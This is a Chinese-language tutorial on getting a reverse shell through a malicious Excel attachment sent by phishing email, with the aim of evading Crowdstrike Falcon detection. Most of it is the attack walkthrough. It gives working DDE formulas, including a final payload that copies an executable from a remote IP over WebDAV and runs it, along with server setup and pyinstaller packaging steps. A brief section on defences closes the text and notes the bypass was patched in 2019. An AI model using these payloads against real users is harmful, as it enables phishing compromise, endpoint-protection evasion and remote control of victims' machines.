利用钓鱼邮件的恶意Excel附件绕过检测获取反向shell
字数 1258 2025-08-27 12:33:42
利用钓鱼邮件的恶意Excel附件绕过Crowdstrike Falcon检测获取反向Shell
概述
本文详细讲解如何通过构造恶意Excel附件,利用DDE(动态数据交换)功能绕过Crowdstrike Falcon等端点安全解决方案的检测,最终获取目标系统的反向Shell。该方法在2019年1月前有效,后已被Crowdstrike修复。
环境配置
攻击者环境
- 廉价VPS服务器
- 安装Apache2并启用mod_webdav模块
- 使用pyinstaller打包的Python反向Shell二进制文件
- 特殊构造的Excel文件
目标环境
- Windows 10 1803(最新版,已打补丁)
- Crowdstrike Falcon Sensor(最新版)
- Excel 2016(已打补丁)
- 配置公司邮箱的Outlook
技术实现步骤
第一步:构造恶意Excel附件
-
DDE利用原理:
- 利用Excel的动态数据交换(DDE)功能而非宏
- 绕过常见的邮件过滤器和Windows Defender检测
-
初始尝试:
{DDEAUTO c:\\windows\\system32\\cmd.exe "/k notepad.exe"}- 在Word中已被微软2017年12月补丁禁用
-
Excel有效公式:
=cmd|'/c notepad.exe'!_xlbgnm.A1 -
增强可信度的改进:
=EXCEL|Windows\System32\cmd.exe /c notepad.exe'!_xlbgnm.A1- 将警告框中的"CMD.EXE"替换为"EXCEL.EXE",提高可信度
第二步:WebDAV服务器配置
-
选择WebDAV的原因:
- 避免使用常见下载方式被检测
- Windows资源管理器原生支持WebDAV协议
-
服务器配置:
- 使用Apache2的mod_webdav模块
- 修改默认端口到443(HTTPS端口)
第三步:反向Shell准备
-
Python反向Shell:
- 使用可在Windows执行的Python代码
- 通过pyinstaller打包成单个可执行文件:
pyinstaller --onefile run.py
-
文件部署:
- 将生成的可执行文件上传到WebDAV根目录
第四步:综合攻击执行
-
初始失败尝试:
=cmd|'/c cmd.exe /c "\\167.160.187.142\\webdav\run.exe"'!_xlbgnm.A1- 错误:指定的路径不存在
-
解决方案:
- 将文件重命名为run.txt
- 先复制到本地再执行
-
最终有效公式:
=cmd|'/c cmd.exe /c "copy \\167.160.187.142\webdav\run.txt c:\users\public\run.exe" && cmd.exe /c "c:\users\public\run.exe"'!_xlbgnm.A1
绕过检测分析
-
传统检测方式:
- 常见流程执行树检测:
explorer.exe > outlook.exe > excel.exe > powershell.exe -windowstyle hidden -executionpolicy bypass -enc
- 常见流程执行树检测:
-
本方法优势:
- 不使用Powershell、WScript、Bitsadmin、mshta等常见方式
- 执行流程更隐蔽,不易被行为分析检测
完整攻击流程
- 从垃圾邮箱创建钓鱼邮件,附加恶意Excel文件
- 发送到目标公司邮箱
- 受害者通过Outlook打开邮件和附件
- 受害者点击警告框中的"Yes"
- 攻击者接收反向Shell
防御措施
-
已修复:
- Crowdstrike在2019年1月11日发布补丁修复此绕过方法
-
通用防御建议:
- 保持安全产品更新
- 教育用户识别可疑邮件和警告信息
- 限制Office文档执行外部命令的能力
- 监控异常网络连接(如WebDAV连接)
总结
本技术展示了如何利用Excel的DDE功能结合WebDAV协议,绕过Crowdstrike Falcon等高级端点保护解决方案的检测。虽然该特定方法已被修复,但其思路仍值得安全研究人员和防御方参考,以应对类似的新型攻击手法。